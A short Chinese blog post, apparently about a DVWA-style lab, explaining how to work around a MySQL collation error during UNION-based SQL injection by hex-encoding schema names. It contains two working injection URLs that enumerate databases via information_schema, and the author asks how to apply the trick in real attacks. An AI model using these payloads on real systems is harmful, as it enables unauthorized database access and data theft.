SQL查询时出现错误 “Illegal mix of collations for operation 'UNION'”
1.在本地测试的时候,发现一个错误哦
sql 注入进行查看所有数据库名的时候,
百度查看,说的是编码问题,本地测试还能改一下编码,实战怎么办~
解决办法:
使用16进制进行读取
1 | http: //10.211.55.8:804/vulnerabilities/sqli/?id=1' union select 1,schema_name from information_schema.schemata #&Submit=Submit# 最开始payload。 |
1 | http: //10.211.55.8:804/vulnerabilities/sqli/?id=1' union select 1,hex(schema_name) from information_schema.schemata #&Submit=Submit# 16进制读取payload。 |
上面的Surname 是读取出来的数据库名 16 进制。
解码一下16进制就可以了。
更多精彩内容:欢迎关注公众号和知识星球
专注实战/Bypass


分类:
SQL注入
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· winform 绘制太阳,地球,月球 运作规律
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人